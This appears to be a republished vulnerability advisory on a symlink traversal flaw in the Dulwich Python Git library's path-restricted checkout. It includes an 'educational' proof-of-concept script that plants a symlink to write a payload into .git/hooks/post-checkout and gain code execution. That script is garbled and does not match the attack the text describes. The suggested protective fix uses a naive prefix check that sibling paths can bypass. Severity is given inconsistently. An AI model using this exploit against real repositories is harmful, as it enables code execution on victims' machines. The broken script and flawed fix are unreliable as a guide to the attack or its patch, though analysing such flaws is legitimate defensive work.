Listen to this Post
CVE-2026-52726 is a critical symlink directory traversal vulnerability in Dulwich, a pure-Python implementation of the Git file formats and protocols. The flaw resides in the `porcelain.checkout(paths=[…])` code path, which writes files using a raw `os.open(file_path, O_WRONLY|O_CREAT|O_TRUNC, mode)` call followed by f.write(obj.data). This implementation completely bypasses the `build_file_from_blob()` function, which means it fails to invoke any symlink protections—including the unreleased `d09f8af` fix. The `os.open` system call, when used without the `O_NOFOLLOW` flag, follows symbolic links at both the target file and any intermediate directories in the path. This behavior allows an attacker to craft a malicious Git repository that, when a victim clones it and runs a path-restricted checkout, writes attacker-controlled content with attacker-controlled permissions to any filesystem location accessible to the user. The root cause is located at dulwich/porcelain/__init__.py:5661-5675. The `_checked_worktree_path()` function (lines 601-631) performs only name validation—checking that the path doesn’t start with `/` or `\` and that components pass `INVALID_DOTNAMES` checks—but performs zero filesystem symlink detection. An attacker can exploit this by creating a repository where `HEAD` has a `trigger` symlink pointing to `../../.git/hooks/post-checkout` and a tag `v1.0` containing an executable `trigger` file with a malicious payload. When the victim clones the repository and runs porcelain.checkout(repo, target="v1.0", paths=["trigger"]), the `os.open` call follows the symlink and writes the payload to .git/hooks/post-checkout. On the next checkout operation, the hook executes, achieving remote code execution. This vulnerability is the Dulwich equivalent of the upstream Git fixes for CVE-2024-32002 and CVE-2024-32004, which were never propagated into Dulwich’s separately implemented porcelain layer. The suggested fix is to replace the raw `os.open` path with a call to `build_file_from_blob` once that function is hardened against intermediate symlinks, or to add explicit symlink detection by resolving the path with `os.path.realpath()` and verifying it stays within the worktree root before opening. Reported by zx (Jace).
DailyCVE Form
Platform: Dulwich Python
Version: 0.24.0-1.2.7
Vulnerability: Symlink Traversal
Severity: High
date: 2026-07-07
Prediction: 2026-07-19
What Undercode Say
Analytics:
pip install dulwich==1.2.7 python3 -c "import dulwich; print(dulwich.<strong>version</strong>)" git clone https://github.com/jelmer/dulwich cd dulwich grep -n "os.open" dulwich/porcelain/<strong>init</strong>.py
How Exploit: (Educational Purposes!)
import os
import dulwich.porcelain as porcelain
1. Attacker creates a malicious repository
os.makedirs("malicious_repo/.git/hooks", exist_ok=True)
Create symlink: trigger -> ../../.git/hooks/post-checkout
os.symlink("../../.git/hooks/post-checkout", "malicious_repo/trigger")
Create malicious payload file
with open("malicious_repo/payload.sh", "w") as f:
f.write("!/bin/sh\nmalicious_payload\n")
os.chmod("malicious_repo/payload.sh", 0o755)
Commit and tag
repo = porcelain.init("malicious_repo")
porcelain.add(repo, ["trigger", "payload.sh"])
porcelain.commit(repo, message="Malicious commit")
porcelain.tag_create(repo, "v1.0")
2. Victim clones and checks out
victim_repo = porcelain.clone("malicious_repo", "victim_repo")
The symlink trigger now exists in the worktree
3. Victim runs path-restricted checkout
porcelain.checkout(victim_repo, target="v1.0", paths=["trigger"])
This writes payload.sh content to .git/hooks/post-checkout via symlink
4. Next checkout triggers the hook -> RCE
Protection: from this CVE
import os
def safe_checkout_path(worktree_root, file_path):
real_path = os.path.realpath(file_path)
if not real_path.startswith(os.path.realpath(worktree_root)):
raise ValueError("Path traversal attempt detected")
return real_path
Upgrade to dulwich 1.2.8 or later
pip install --upgrade dulwich>=1.2.8
Impact
- Arbitrary file write outside the worktree
- Remote code execution via `.git/hooks/post-checkout`
– Full repository compromise - Data exfiltration and system compromise
- Affects both direct submodule updates and recursive clone operations
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

